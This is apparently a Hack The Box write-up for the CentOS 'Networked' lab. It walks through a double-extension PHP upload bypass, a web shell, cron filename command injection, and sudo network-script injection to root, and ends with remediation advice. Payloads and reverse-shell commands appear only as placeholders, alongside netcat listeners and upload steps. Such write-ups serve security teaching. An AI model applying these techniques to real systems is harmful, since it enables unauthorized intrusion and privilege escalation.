Skip to content

Networked — Web Shell Upload, Filename Command Injection, and sudo Network-Script Abuse

Tools
rustscan, nmap, feroxbuster, curl, netcat
Skill demonstrated
Linux web-shell upload bypass and local privilege escalation through unsanitized filenames and a sudo interface-file write
Tags
  • linux
  • centos
  • web
  • command-injection
  • privilege-escalation
  • cron
  • sudo
Field Value
Difficulty Easy
Target environment CentOS Linux; Apache httpd 2.4.6 with PHP 5.4.16
Starting position Unauthenticated network access
Objective Reach privileged access by bypassing the image-upload check, injecting through a cron-managed filename, and abusing a sudo network script
Outcome <WEB_SERVICE_ACCOUNT> command execution, a <CRON_OWNER_ACCOUNT> shell, and <PRIVILEGED_ACCOUNT> command execution

Networked is an Easy-rated Hack The Box Linux (CentOS) lab with a flawed image-upload workflow. A web-application source backup left reachable at /backup exposes the upload-handling code, whose extension and MIME checks accept a double-extension file named shell.php.gif. The upload is stored with .php retained in the name, Apache executes it, and the resulting web shell runs commands as the Apache service account. A cron-executed cleanup script then passes attacker-controlled filenames into a shell command, and a sudo-run network configuration script writes unescaped input into an interface file that ifup later sources. Target and attacker addresses, lab account names, and callback ports are replaced with role-based placeholders, and the uploaded payload, reverse-shell requests, and malicious filename are shown only as placeholder patterns; command syntax is preserved.

Attack path: Leaked /backup source → double-extension PHP upload → <WEB_SERVICE_ACCOUNT> web shell → cron filename command injection → <CRON_OWNER_ACCOUNT> shell → sudo changename.sh interface-file injection → <PRIVILEGED_ACCOUNT>

  • Target: a CentOS host exposing SSH (OpenSSH 7.4) and Apache httpd 2.4.6 running PHP 5.4.16.
  • Starting position: unauthenticated network access.
  • Objective: exploit the web application’s upload handling for code execution, then escalate through a scheduled cleanup script and a sudo-delegated network script.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan exposes two services, one of them a PHP-capable web server.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/Networked-TCP

Truncated scan output:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Significance: the version banner identifies an Apache server configured to execute PHP, so any file the server treats as a PHP script is directly valuable.

Result: SSH and a PHP-serving Apache instance are the reachable surface.

Observation: directory enumeration surfaces a backup path and an upload path.

Terminal window
feroxbuster --url http://<TARGET_IP> --wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Truncated discovery output:

/backup
/uploads

The /backup path serves the web-application source: index.php, lib.php, photos.php, and upload.php.

Significance: an exposed source archive removes the guesswork from the upload bypass, because the exact validation logic is readable before any payload is crafted.

Result: the upload-handling source is recoverable without authentication.

Observation: the leaked upload.php delegates validation to check_file_type() in lib.php and enforces a small set of image extensions.

$validext = array('.jpg', '.png', '.gif', '.jpeg');

The stored name is rebuilt from the client address and the text after the first dot:

$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

Significance: validation inspects the MIME type and the trailing extension only, so a file named shell.php.gif is stored as <ATTACKER_IP_UNDERSCORES>.php.gif; because Apache executes PHP for any filename containing .php, the double extension turns an accepted image upload into code execution.

Result: the check can be satisfied by an image extension while a .php token remains in the executed filename.

Observation: an image-valid file that also carries PHP executes when requested through the uploads path.

Action — build a GIF-header PHP payload and upload it through /upload.php:

Terminal window
printf 'GIF89a\n<PHP_WEBSHELL_PAYLOAD>' > shell.php.gif

The stored name is confirmed through /photos.php:

<ATTACKER_IP_UNDERSCORES>.php.gif

Action — request the shell parameter, then establish a callback session:

Terminal window
curl 'http://<TARGET_IP>/uploads/<ATTACKER_IP_UNDERSCORES>.php.gif?cmd=<REVERSE_SHELL_REQUEST>'
Terminal window
nc -lvnp <WEB_SHELL_PORT>

The session returns as the web service account:

bash-4.2$ whoami
<WEB_SERVICE_ACCOUNT>

Significance: the GIF89a header satisfies the image check while the .php token in the stored filename is handed to Apache’s PHP handler, so a single upload yields unauthenticated code execution with no separate vulnerability.

Result: command execution as <WEB_SERVICE_ACCOUNT> is established.

5. Privilege Escalation to <CRON_OWNER_ACCOUNT> via Filename Injection

Section titled “5. Privilege Escalation to <CRON_OWNER_ACCOUNT> via Filename Injection”

Observation: a readable home directory holds a cron entry that runs a PHP cleanup script every three minutes.

Terminal window
cat /home/<CRON_OWNER_ACCOUNT>/crontab.<CRON_OWNER_ACCOUNT>
*/3 * * * * php /home/<CRON_OWNER_ACCOUNT>/check_attack.php

The script scans the upload directory and passes each filename into a shell command:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

Action — create a file whose name carries shell syntax, then catch the callback scheduled to run as the script owner:

Terminal window
cd /var/www/html/uploads
touch -- '<MALICIOUS_FILENAME_PATTERN>'
Terminal window
nc -lvnp <CRON_INJECTION_PORT>

When the cron job runs, the shell returns as the script owner:

$ whoami
<CRON_OWNER_ACCOUNT>

Significance: the filename is interpolated unquoted into exec(), so the shell treats part of the name as a command; because the cron job runs as <CRON_OWNER_ACCOUNT>, the injected command executes with that account’s privileges.

Result: a <CRON_OWNER_ACCOUNT> shell is obtained through the cron-managed script.

6. Privilege Escalation to <PRIVILEGED_ACCOUNT> via changename.sh

Section titled “6. Privilege Escalation to <PRIVILEGED_ACCOUNT> via changename.sh”

Observation: sudo enumeration shows a passwordless rule for a network-naming script owned by the privileged context.

Terminal window
sudo -l
(root) NOPASSWD: /usr/local/sbin/changename.sh

The script validates input with a regular expression that permits spaces and slashes:

Terminal window
regexp="^[a-zA-Z0-9_\ /-]+$"

It writes the supplied values into /etc/sysconfig/network-scripts/ifcfg-<CRON_OWNER_ACCOUNT> and then runs ifup <CRON_OWNER_INTERFACE>. Because the network scripts source that generated file, a value containing a command path can be interpreted as shell syntax.

Action — stage a reverse-shell script, then pass a value that appends its path to the name field:

Terminal window
cat > /tmp/<STAGING_SCRIPT> << 'EOF'
<REVERSE_SHELL_SCRIPT>
EOF
chmod +x /tmp/<STAGING_SCRIPT>
Terminal window
sudo /usr/local/sbin/changename.sh
# NAME: <COMMAND_PATH_INJECTION_PATTERN>
# remaining prompts: none / no / dhcp
Terminal window
nc -lvnp <PRIVILEGED_PORT>

The privileged listener returns a shell:

# whoami
<PRIVILEGED_ACCOUNT>

Significance: allowing spaces in the validated value lets the input be split into a name plus a command path, and sourcing the generated interface file executes that path as the privileged account — a sudo delegation that consumes untrusted input becomes full command execution.

Result: command execution as <PRIVILEGED_ACCOUNT> is confirmed by the returned whoami output.

  • Upload check versus execution behavior. The handler accepted image extensions while Apache executed any .php-bearing filename, so the payload combined a GIF89a header, an allowed .gif extension, and an embedded .php token to satisfy the check and still run as PHP.
  • Injection value placement in changename.sh. The injected value was placed in the NAME field, and the remaining prompts were answered with neutral values (none, no, dhcp) so the script continued through to ifup.

The evidence establishes unauthenticated access escalating to privileged <PRIVILEGED_ACCOUNT> command execution through the sudo network script. Limitation: the payloads and injected values are summarized as placeholders, so the chain is not reproducible from this writeup.

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

  1. Extension- and MIME-only upload validation. The upload handler trusted the MIME type and trailing extension, so a .gif file containing a .php token was stored and executed. Recommendation: validate the actual content, re-encode or strip images before storage, store uploads outside the web root, and disable script execution in upload directories. Detection: alert on executable files being written to upload or media paths.
  2. Web-application source exposed in the web root. A reachable source archive disclosed the exact validation logic and reduced the bypass to a read. Recommendation: keep backups, archives, and source control artifacts out of any web-served directory. Detection: monitor web paths for archive and source-file retrieval.
  3. Filenames passed unescaped into a shell command. The cron cleanup script interpolated each filename into exec(), so shell metacharacters in a name became commands. Recommendation: avoid the shell for file operations, quote and pass names as discrete arguments, and reject filenames containing shell metacharacters. Detection: alert on files whose names contain command separators appearing in scheduled directories.
  4. Sudo delegation that writes untrusted input into sourced configuration. A passwordless sudo rule fed user input into a generated interface file that ifup sourced, and the permissive regex allowed spaces. Recommendation: apply a strict allowlist to naming input, never write user-controlled values into sourced configuration, and remove sudo delegation that consumes untrusted input. Detection: review sudoers for script-based rules and monitor changes to network-script configuration files.
Edit page

Last updated: